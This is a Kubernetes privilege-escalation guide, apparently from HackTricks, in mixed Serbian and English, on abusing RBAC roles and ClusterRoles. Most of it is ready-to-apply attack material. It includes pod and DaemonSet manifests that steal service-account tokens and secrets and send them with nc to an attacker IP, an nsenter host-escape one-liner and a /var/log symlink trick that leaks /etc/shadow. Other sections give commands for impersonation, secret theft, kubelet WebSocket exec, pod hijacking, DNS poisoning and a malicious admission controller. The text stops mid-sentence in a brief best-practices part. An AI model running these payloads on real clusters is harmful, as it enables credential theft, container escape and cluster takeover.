Zloupotreba Roles/ClusterRoles u Kubernetes
Tip
Nauči & vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Pogledajte subscription plans!
- Pridružite se 💬 Discord group or the telegram group or pratite nas na Twitter 🐦 @hacktricks_live.
- Podelite hacking tricks slanjem PR-ova na HackTricks i HackTricks Cloud github repos.
Ovde možete naći neke potencijalno opasne Roles i ClusterRoles konfiguracije.
Zapamtite da možete dobiti sve podržane resurse sa kubectl api-resources
Privilege Escalation
Podrazumeva se kao umetnost dobijanja pristupa drugom principal-u unutar clustera sa drugačijim privilegijama (unutar kubernetes clustera ili prema eksternim cloud-ovima) nego one koje već imate, u Kubernetes-u postoje u suštini 4 glavne tehnike za eskalaciju privilegija:
- Biti u mogućnosti da impersonate druge user/groups/SAs sa boljim privilegijama unutar kubernetes clustera ili prema eksternim cloud-ovima
- Biti u mogućnosti da create/patch/exec pods gde možete find or attach SAs sa boljim privilegijama unutar kubernetes clustera ili prema eksternim cloud-ovima
- Biti u mogućnosti da read secrets jer su SAs tokens smešteni kao secrets
- Biti u mogućnosti da escape to the node iz kontejnera, gde možete ukrasti sve secrets kontejnera koji rade na node-u, kredencijale node-a, i permisije node-a unutar clouda u kome se izvršava (ako ih ima)
- Peta tehnika koja zaslužuje pomen je sposobnost da run port-forward u pod-u, jer možete dobiti pristup interesantnim resursima unutar tog poda.
Pristup bilo kojem resursu ili verbu (Wildcard)
The wildcard (*) gives permission over any resource with any verb. It’s used by admins. Inside a ClusterRole this means that an attacker could abuse bilo koji namespace u klasteru
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
Pristup bilo kojem resursu sa određenim verbom
U RBAC-u, određena dopuštenja predstavljaju značajne rizike:
create: Omogućava kreiranje bilo kojeg resursa u klasteru, što može dovesti do privilege escalation.list: Dozvoljava listanje svih resursa, što može potencijalno leaking sensitive data.get: Dozvoljava pristup secrets iz service accounts, što predstavlja bezbednosnu pretnju.
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]
Pod Create - Steal Token
Napadač koji ima dozvole za kreiranje pod-a može dodeliti privilegovani Service Account podu i ukrasti token kako bi se predstavljao kao taj Service Account, čime efektivno eskalira privilegije.
Primer poda koji će ukrasti token Service Account-a bootstrap-signer i poslati ga napadaču:
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
Pod Create & Escape
- Privileged access (onemogućavanje zaštita i podešavanje capabilities)
- Disable namespaces hostIPC and hostPid koje mogu pomoći u eskalaciji privilegija
- Disable hostNetwork namespace, što može omogućiti krađu cloud privilegija čvorova (nodes) i bolji pristup mrežama
- Mount hosts / inside the container
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
# add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /
Kreirajte pod pomoću:
kubectl --token $token create -f mount_root.yaml
Jednolinijski iz this tweet i sa nekim dodacima:
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
Sada kada možeš da escape-uješ na node, proveri post-exploitation tehnike u:
Stealth
Verovatno želiš da budeš diskretniji; na narednim stranicama možeš videti šta bi mogao da pristupiš ako kreiraš pod uključujući samo neke od dole pomenutih privilegija iz prethodnog šablona:
- Privileged + hostPID
- Privileged only
- hostPath
- hostPID
- hostNetwork
- hostIPC
You can find example of how to create/abuse the previous privileged pods configurations in https://github.com/BishopFox/badPods
Kreiranje pod-a - prelazak u cloud
Ako možeš da kreiraš a pod (i opciono a service account) možda ćeš moći da dobiješ privilegije u cloud okruženju dodeljivanjem cloud roles podu ili service account-u i potom mu pristupiš.
Pored toga, ako možeš da kreiraš pod with the host network namespace možeš da steal the IAM role instanci node.
For more information check:
Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs
Moguće je zloupotrebiti ove dozvole da kreiraš novi pod i uspostaviš privilegije kao u prethodnom primeru.
Sledeći yaml creates a daemonset and exfiltrates the token of the SA unutar pod-a:
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /
Pods Exec
pods/exec je resurs u kubernetes koji se koristi za pokretanje komandi u shell-u unutar poda. Ovo omogućava da se pokreću komande unutar containers ili da se dobije shell iznutra.
Stoga je moguće ući u pod i ukrasti token SA, ili ući u privilegiovani pod, pobeći na node, i ukrasti sve tokene podova na node-u i (ab)use the node:
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
Note
Podrazumevano se komanda izvršava u prvom container-u poda. Dobavite sve kontejnere u podu sa
kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'i zatim odredite container u kojem želite da je izvršite pomoćukubectl exec -it <pod_name> -c <container_name> -- sh
Ako je to distroless container, možete pokušati da koristite shell builtins da dobijete informacije o container-ima ili da otpremite sopstvene alate kao što je busybox koristeći: kubectl cp </path/local/file> <podname>:</path/in/container>.
port-forward
Ovo dopuštenje omogućava da proslijedite jedan lokalni port na jedan port u specificiranom podu. Ovo je namenjeno da olakša debug aplikacija koje rade unutar poda, ali napadač to može zloupotrebiti da bi pristupio interesantnim (npr. DBs) ili ranjivim aplikacijama (npr. web serverima?) unutar poda:
kubectl port-forward pod/mypod 5000:5000
Hosts Writable /var/log/ Escape
As naznačeno u ovom istraživanju, if you can access or create a pod with the hosts /var/log/ directory mounted on it, you can escape from the container.
Ovo je углавном зато што када Kube-API pokuša da preuzme logove kontejnera (koristeći kubectl logs <pod>), он zahteva 0.log fajl poda преко /logs/ endpoint-a Kubelet servisa.
Kubelet servis izlaže /logs/ endpoint који у суштини izlaže /var/log datotečni sistem kontejnera.
Stoga, napadač sa pristupom za upis u /var/log/ direktorijum kontejnera може злоупотребити ова понашања на 2 начина:
- Modifying the
0.logfile of its container (usually located in/var/logs/pods/namespace_pod_uid/container/0.log) to be a symlink pointing to/etc/shadowfor example. Then, you will be able to exfiltrate hosts shadow file doing:
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
- Ako napadač kontroliše bilo koji principal sa dozvolama za čitanje
nodes/log, može jednostavno napraviti symlink u/host-mounted/var/log/symkoji pokazuje na/, i kada pristupihttps://<gateway>:10250/logs/sym/biće mu prikazan root filesystem hosta (promenom symlinka može se dobiti pristup fajlovima).
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]
Laboratorija i automatizovani exploit se mogu naći u https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts
Zaobilaženje readOnly zaštite
Ako imate sreće i visoko privilegovana kapabilnost CAP_SYS_ADMIN je dostupna, možete jednostavno ponovo montirati folder kao rw:
mount -o rw,remount /hostlogs/
Zaobilaženje hostPath readOnly zaštite
Kao što je navedeno u this research moguće je zaobići zaštitu:
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
To je trebalo da spreči escapes poput prethodnih tako što bi, umesto korišćenja hostPath mount-a, koristio PersistentVolume i PersistentVolumeClaim da montira hosts folder u kontejner sa pristupom za pisanje:
apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol
Impersonacija privilegovanih naloga
Sa privilegijom user impersonation, napadač može da se predstavi kao privilegovani nalog.
Samo koristite parametar --as=<username> u kubectl komandi da se predstavite kao korisnik, ili --as-group=<group> da se predstavite kao grupa:
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
Ili koristite REST API:
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Nabrajanje secrets
Dozvola za list secrets može omogućiti napadaču da zapravo pročita secrets pristupajući REST API endpoint:
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Kreiranje i čitanje Secrets
Postoji posebna vrsta Kubernetes secret-a tipa kubernetes.io/service-account-token koja čuva serviceaccount tokens. Ako imate dozvole za kreiranje i čitanje secret-ova, i ako takođe znate ime serviceaccount-a, možete kreirati secret na sledeći način i zatim ukrasti token ciljanog serviceaccount-a iz njega:
apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
Primer exploitation:
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets [] [] [get create]
[/.well-known/openid-configuration/] [] [get]
<SNIP>
[/version] [] [get]
$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created
$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}
Imajte na umu da, ako vam je dozvoljeno da kreirate i čitate secrets u određenom namespace-u, žrtvin serviceaccount takođe mora biti u tom istom namespace-u.
Čitanje secret-a – brute-forcing token ID-ova
Iako napadaču koji poseduje token sa read permisijama treba tačno ime secreta da bi ga iskoristio, za razliku od šire privilegije listing secrets, i dalje postoje ranjivosti. Default service accounts u sistemu se mogu enumerisati, svaki je povezan sa jednim secret-om. Ovi secret-i imaju strukturu imena: statični prefiks nakon kojeg sledi nasumični peto-karakterni alfanumerički token (izuzimajući određene karaktere) prema source code.
Token se generiše iz ograničenog skupa od 27 karaktera (bcdfghjklmnpqrstvwxz2456789), umesto iz punog alfanumeričkog opsega. Ova ograničenost smanjuje ukupan broj mogućih kombinacija na 14.348.907 (27^5). Posledično, napadač bi mogao izvesti brute-force napad i za nekoliko sati pogoditi token, što može dovesti do eskalacije privilegija pristupom osetljivim service account-ima.
EncrpytionConfiguration u čistom tekstu
Moguće je pronaći ključeve u čistom tekstu koji se koriste za enkripciju podataka u mirovanju u ovakvim objektima, npr.:
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
#
# CAUTION: this is an example configuration.
# Do not use this for your own cluster!
#
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
Zahtevi za potpisivanje sertifikata
Ako imate verb create na resursu certificatesigningrequests (ili bar na certificatesigningrequests/nodeClient), možete kreirati novi CeSR za novi čvor.
Prema dokumentaciji moguće je automatski odobriti ove zahteve, tako da vam u tom slučaju ne trebaju dodatne dozvole. Ako to nije omogućeno, moraćete biti u mogućnosti da odobrite zahtev, što podrazumeva update u certificatesigningrequests/approval i approve u signers sa resourceName <signerNameDomain>/<signerNamePath> ili <signerNameDomain>/*
Primer role sa svim potrebnim dozvolama je:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve
Dakle, kada je nova node CSR odobrena, možete zloupotrebiti specijalne dozvole node-ova da ukradete tajne i eskalirate privilegije.
In this post and this one the GKE K8s TLS Bootstrap configuration is configured with automatic signing and it’s abused to generate credentials of a new K8s Node and then abuse those to escalate privileges by stealing secrets.
Ako imate pomenute privilegije, možete uraditi isto. Napomena: prvi primer zaobilazi grešku koja sprečava novom node-u da pristupi tajnama unutar containera jer node može pristupiti samo tajnama containera koji su montirani na njega.
Način da se ovo zaobiđe je da se jednostavno kreiraju kredencijale čvora za node ime na kojem je montiran container sa interesantnim tajnama (ali pogledajte kako to uraditi u prvom postu):
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
AWS EKS aws-auth configmaps
Identiteti koji mogu da modifikuju configmaps u kube-system namespace-u na EKS (moraju biti u AWS) klasterima mogu da dobiju privilegije cluster admina prepisivanjem aws-auth configmap-a.
Potrebne operacije su update i patch, ili create ako configmap nije kreiran:
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml
## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns
# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters
Warning
Možete koristiti
aws-authza persistence dajući pristup korisnicima iz drugih naloga.Međutim,
aws --profile other_account eks update-kubeconfig --name <cluster-name>ne radi iz drugog naloga. Ali zapravoaws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testingradi ako umesto imena stavite ARN klastera.
Da bikubectlradio, samo se pobrinite da konfigurišete victims kubeconfig i u aws exec args dodate--profile other_account_roletako da kubectl koristi profil drugog naloga da dobije token i kontaktira AWS.
CoreDNS config map
Ako imate dozvole da izmenite coredns configmap u kube-system namespace-u, možete izmeniti adresu na koju će domeni biti rešavani kako biste mogli izvršiti MitM napade radi krađe osetljivih informacija ili ubrizgavanja malicioznog sadržaja.
Potrebni verbi su update i patch nad coredns configmap-om (ili svim config maps).
Uobičajeni coredns file sadrži nešto ovako:
data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}
Napadač može da ga preuzme pokretanjem kubectl get configmap coredns -n kube-system -o yaml, izmeni ga dodavanjem nečega poput rewrite name victim.com attacker.com tako da kad god se pristupi victim.com zapravo će biti pristupljeno domenu attacker.com. Zatim ga primeni pokretanjem kubectl apply -f poison_dns.yaml.
Druga opcija je jednostavno izmeniti fajl pokretanjem kubectl edit configmap coredns -n kube-system i napraviti izmene.
Eskalacija u GKE
Postoje 2 načina da se dodelе K8s dozvole GCP principalima. U svakom slučaju principal takođe treba dozvolu container.clusters.get da bi mogao da prikupi kredencijale za pristup klasteru, ili ćeš morati da generišeš sopstveni kubectl config fajl (prati sledeći link).
Warning
Kada se razgovara sa K8s api endpoint-om, biće poslat GCP auth token. Zatim, GCP, preko K8s api endpoint-a, prvo proveri da li principal (po email-u) ima bilo kakav pristup unutar klastera, potom će proveriti da li ima bilo kakav pristup preko GCP IAM.
Ako je bilo koji od tih istinito, biće mu odgovoreno. Ako nije, biće vraćena greška koja sugeriše da se dodele dozvole preko GCP IAM.
Dakle, prvi metod je korišćenje GCP IAM, K8s dozvole imaju svoje ekvivalentne GCP IAM dozvole, i ako principal ima te dozvole, moći će da ih koristi.
Drugi metod je dodeljivanje K8s dozvola unutar klastera identifikujući korisnika po njegovom email-u (uključujući GCP service accounts).
Kreiranje tokena za serviceaccounts
Principali koji mogu da create TokenRequests (serviceaccounts/token) — kada razgovaraju sa K8s api endpoint-om, mogu da dobiju token-e service account-a (info from here).
ephemeralcontainers
Principali koji mogu da update ili patch pods/ephemeralcontainers mogu steći izvršavanje koda na drugim pod-ovima, i potencijalno break out na njihov node dodavanjem ephemeral container-a sa privileged securityContext-om
ValidatingWebhookConfigurations or MutatingWebhookConfigurations
Principali sa bilo kojim od glagola create, update ili patch nad validatingwebhookconfigurations ili mutatingwebhookconfigurations mogu biti u mogućnosti da kreiraju jednu od takvih webhook konfiguracija kako bi mogli da eskaliraju privilegije.
For a mutatingwebhookconfigurations example check this section of this post.
Escalate
Kao što možeš pročitati u sledećoj sekciji: Built-in Privileged Escalation Prevention, principal ne može ni da ažurira ni da kreira roles ili clusterroles bez toga da sam poseduje te nove dozvole. Osim ako ima verb escalate or * over roles or clusterroles and the respective binding options.
Tada može da ažurira/kreira nove roles, clusterroles sa boljim dozvolama nego koje on ima.
Nodes proxy
Principali sa pristupom do nodes/proxy subresursa mogu izvršavati kod u podovima preko Kubelet API-ja (prema this). Više informacija o Kubelet autentifikaciji na ovoj stranici:
Kubelet Authentication & Authorization
nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion
- Kubelet preslikava HTTP metode u RBAC glagole pre nego što dođe do nadogradnje protokola. WebSocket handshakes moraju početi sa HTTP GET (
Connection: Upgrade), pa se/execpreko WebSocket-a proverava kao verbgetumesto očekivanogcreate. /exec,/run,/attach, and/portforwardnisu eksplicitno mapirani i potpadaju pod podrazumevaniproxysubresource, tako da autorizaciono pitanje postajecan <user> get nodes/proxy?- Ako token ima samo
nodes/proxy+get, direktan WebSocket pristup kubelet-u nahttps://<node_ip>:10250dozvoljava proizvoljno izvršavanje komandi u bilo kom pod-u na tom nodu. Isti zahtev preko API server proxy puta (/api/v1/nodes/<node>/proxy/exec/...) se odbija zato što je to običan HTTP POST i mapira se nacreate. - Kubelet ne vrši drugu autorizaciju nakon WebSocket nadogradnje; samo se inicijalni GET procenjuje.
Direktan exploit (zahteva mrežnu dostupnost do kubelet-a i token sa nodes/proxy GET):
kubectl auth can-i --list | grep "nodes/proxy"
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
- Koristite Node IP, a ne ime node-a. Isti zahtev sa
curl -X POSTbiće Forbidden zato što se mapira nacreate. - Direktan pristup kubelet-a zaobilazi API server, tako da AuditPolicy prikazuje samo
subjectaccessreviewsod kubelet user agenta i ne beležipods/execkomande. - Enumerišite pogođene service accounts pomoću detection script da pronađete tokens ograničene na
nodes/proxyGET.
Brisanje pods + onemogućavanje raspoređivanja na nodes
Subjekti koji mogu izbrisati pods (delete verb over pods resource), ili izbaciti pods (create verb over pods/eviction resource), ili promeniti status poda (pristup pods/status) i mogu učiniti druge nodes nepodesnim za raspoređivanje (pristup nodes/status) ili izbrisati nodes (delete verb over nodes resource) i imaju kontrolu nad jednim podom, mogu ukrasti pods sa drugih nodes tako da se oni izvrše na kompromitovanom node-u i napadač može ukrasti the tokens iz tih podova.
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}
while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack
kubectl delete pods -n kube-system <privileged_pod_name>
Status servisa (CVE-2020-8554)
Subjekti koji mogu izmeniti services/status mogu postaviti polje status.loadBalancer.ingress.ip da iskoriste neispravljen CVE-2020-8554 i pokrenu MiTM napade protiv klastera. Većina mitigacija za CVE-2020-8554 sprečava samo ExternalIP services (prema this).
Status čvorova i podova
Subjekti koji imaju update ili patch dozvole nad nodes/status ili pods/status, mogu izmeniti labele da utiču na primenjena ograničenja raspoređivanja.
Ugrađena zaštita od eskalacije privilegija
Kubernetes ima ugrađen mehanizam za sprečavanje eskalacije privilegija.
Ovaj sistem osigurava da korisnici ne mogu povisiti svoje privilegije modifikovanjem rola ili role binding-a. Sprovođenje ovog pravila vrši se na nivou API-ja, obezbeđujući zaštitu čak i kada je RBAC authorizer neaktivan.
Pravilo predviđa da korisnik može kreirati ili ažurirati rolu samo ako poseduje sve dozvole koje ta rola obuhvata. Štaviše, obim postojećih dozvola korisnika mora biti usklađen sa obimom role koju pokušava da kreira ili izmeni: ili na nivou klastera za ClusterRoles ili ograničen na isti namespace (ili na nivou klastera) za Roles.
Warning
Postoji izuzetak od prethodnog pravila. Ako subjekt ima verb
escalatenadrolesiliclusterroles, može povećati privilegije rola i clusterrole čak i bez posedovanja tih dozvola.
Get & Patch RoleBindings/ClusterRoleBindings
Caution
Izgleda da je ova tehnika ranije radila, ali prema mojim testovima više ne funkcioniše iz istog razloga objašnjenog u prethodnom odeljku. Ne možete kreirati/izmeniti rolebinding da biste sebi ili drugom SA dodelili neke privilegije ako ih već nemate.
Dozvola za kreiranje Rolebinding-a omogućava korisniku da veže role za service account. Ova dozvola može potencijalno dovesti do eskalacije privilegija jer omogućava korisniku da veže admin privilegije za kompromitovani service account.
Ostali napadi
Sidecar proxy app
Podrazumevano ne postoji enkripcija u komunikaciji između podova. Mutual authentication, dvosmerna, pod-to-pod.
Kreirajte sidecar proxy aplikaciju
Sidecar container se sastoji u dodavanju drugog (ili više) kontejnera unutar poda.
Na primer, sledeće je deo konfiguracije poda sa 2 kontejnera:
spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]
For example, to backdoor an existing pod with a new container you could just add a new container in the specification. Note that you could give more permissions to the second container that the first won’t have.
Više informacija na: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/
Zlonamerni Admission Controller
An admission controller presreće zahteve ka Kubernetes API serveru pre nego što se objekat bude perzistiran, ali nakon što je zahtev autentifikovan i autorizovan.
Ako napadač nekako uspe da inject a Mutation Admission Controller, biće u mogućnosti da izmeni već autentifikovane zahteve. To može potencijalno dovesti do privesc-a, a češće omogućiti perzistenciju u cluster-u.
Primer iz https://blog.rewanthtammana.com/creating-malicious-admission-controllers:
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w
Proverite status da vidite da li je spremno:
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo
Zatim pokrenite novi pod:
kubectl run nginx --image nginx
kubectl get po -w
Kada vidite grešku ErrImagePull, proverite ime image-a pomoću bilo kojeg od sledećih upita:
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

Kao što se vidi na gornjoj slici, pokušali smo da pokrenemo image nginx, ali je konačno izvršen image rewanthtammana/malicious-image. Šta se upravo desilo!!?
Tehničke pojedinosti
Skript ./deploy.sh uspostavlja mutating webhook admission controller, koji menja zahteve ka Kubernetes API kako je navedeno u linijama njegove konfiguracije, utičući na posmatrane rezultate:
patches = append(patches, patchOperation{
Op: "replace",
Path: "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})
Gornji isječak zamenjuje prvu sliku kontejnera u svakom podu sa rewanthtammana/malicious-image.
OPA Gatekeeper bypass
Kubernetes OPA Gatekeeper bypass
Najbolje prakse
Onemogućavanje automount-a tokena servisnog naloga
- Pods and Service Accounts: Po defaultu, podovi montiraju token servisnog naloga. Da bi se poboljšala bezbednost, Kubernetes omogućava onemogućavanje ove automount funkcije.
- How to Apply: Set
